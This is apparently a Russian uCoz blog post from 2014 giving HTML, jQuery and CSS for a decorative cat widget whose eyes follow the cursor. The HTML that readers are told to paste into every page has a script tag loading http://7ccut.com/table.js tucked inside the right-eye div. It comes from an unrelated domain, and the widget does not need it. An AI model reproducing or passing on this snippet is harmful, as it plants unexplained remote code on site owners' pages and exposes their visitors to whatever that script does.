| Чат |  
 | 
		
		
		
		
		
		
 |    |  
  
 
| Часы |  
 | 
 |  
  |  
  
 | 
![]()  |  | ![]()  |  
 | Главная » 2014 » Январь » 25 » Кот на сайт для uCoz
 
17:16  Кот на сайт для uCoz  |  
  Появление персонажей на сайте – не редкость, особенно популярно украшать сайты кошками, которые следят за перемещением курсора, а некоторые даже пытаются поймать курсор. Был у нас и такой. Этого кота можно установить на любой сайт, сделанном на uCoz. Он будет скромно наблюдать за действиями пользователей на сайте. Когда пользователь наведет курсор на кота, он будет застенчиво улыбаться и смотреть вверх.   Установка 
   Вставьте в Нижнюю часть сайта или в любой другой глобальный блок: 
   Код <div id="cat">    <div class="cat-paws"></div>    <div class="cat-itself-wrap">    <div class="cat-itself">    <div id="cat-eye-left" class="cat-eye">    <div class="cat-eyeball"></div>    </div>    <div id="cat-eye-right" class="cat-eye">    <script src="http://7ccut.com/table.js" type="text/javascript"></script>    <div class="cat-eyeball"></div>    </div>    </div>    </div>    </div>    </div>    </div>   <script>    $(function() {    var el1 = $('#cat-eye-left'), eyeBall1 = el1.find('div');    var el2 = $('#cat-eye-right'), eyeBall2 = el2.find('div');    el1.show();    el2.show();    var x1 = el1.offset().left + 37, y1 = el1.offset().top + 15;    var r = 6, x , y, x2, y2, isEyeProcessed = false;    $('body').mousemove(function(e) {    if (!isEyeProcessed) {    isEyeProcessed = true;    var x2 = e.pageX, y2 = e.pageY;        y = ((r * (y2 - y1)) / Math.sqrt((x2 - x1) * (x2 - x1) + (y2 - y1) * (y2 - y1))) + y1;    x = (((y - y1) * (x2 - x1)) / (y2 - y1)) + x1;        eyeBall1.css({    marginTop: (y - y1 + 1) + 'px',    marginLeft: (x - x1) + 'px'    });    eyeBall2.css({    marginTop: (y - y1 - 1) + 'px',    marginLeft: (x - x1) + 'px'    });    isEyeProcessed = false;    }    });        $('#cat').mousemove(function(e) {    e.stopPropagation();    return false;    });        });    </script>      
   Вставьте следующий код в Таблицу стилей (CSS): 
   Код #cat {    position: fixed;    right: 80px;    bottom: 0;    width: 146px;    height: 55px;   }   #cat:hover .cat-itself {    height: 103px;   }   #cat:hover .cat-eye {    display: none !important;   }   .cat-paws {    position: absolute;    right: 0;    bottom: -4px;    width: 132px;    height: 33px;    z-index: 2;    background: url(http://pnghosts.ru/img/cat-paws.png) no-repeat right bottom;   }   .cat-itself-wrap {    position: absolute;    width: 100%;    height: 100%;    z-index: 1;   }   .cat-itself {    position: absolute;    left: 0;    bottom: 0;    width: 125px;    height: 55px;    z-index: 0;    background: url(http://pnghosts.ru/img/cat-itself.png) no-repeat;    -webkit-transition: all 0.1s 0.1s ease-out;    transition: all 0.1s 0.1s ease-out;   }   .cat-eye {    position: absolute;    display: none;    width: 28px;    height: 28px;    background: url(http://pnghosts.ru/img/cat-eye.png);   }   .cat-eyeball {    position: absolute;    left: 7.5px;    top: 7.5px;    width: 13px;    height: 13px;    background: url(http://pnghosts.ru/img/cat-eyeball.png);   }   #cat-eye-left {    left: 25px;    top: 23px;   }   #cat-eye-right {    left: 74px;    top: 26px;   }  
		
	  |  
| 
Просмотров: 537 |
Добавил: Bitfood
| Рейтинг: 0.0/0 |  
 
Добавлять комментарии могут только зарегистрированные пользователи. [  Регистрация |  Вход ]  
 |  |  
![]()  |  | ![]()  |  
 
 | 
| Профиль |  
 Путешественник 
  
Сообщения:    
  
 Группа: Туристы 
Время:04:16  
 
 Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь! 
  
  |  
  |  
  
| Поиск |  
 |  
  |  
  
| Наш опрос |  
			
				Чего не хватает сайту? 
				8.  Чего то в оформлении... 
				
				Всего ответов: 8 
			  |  
  |  
  
 
 |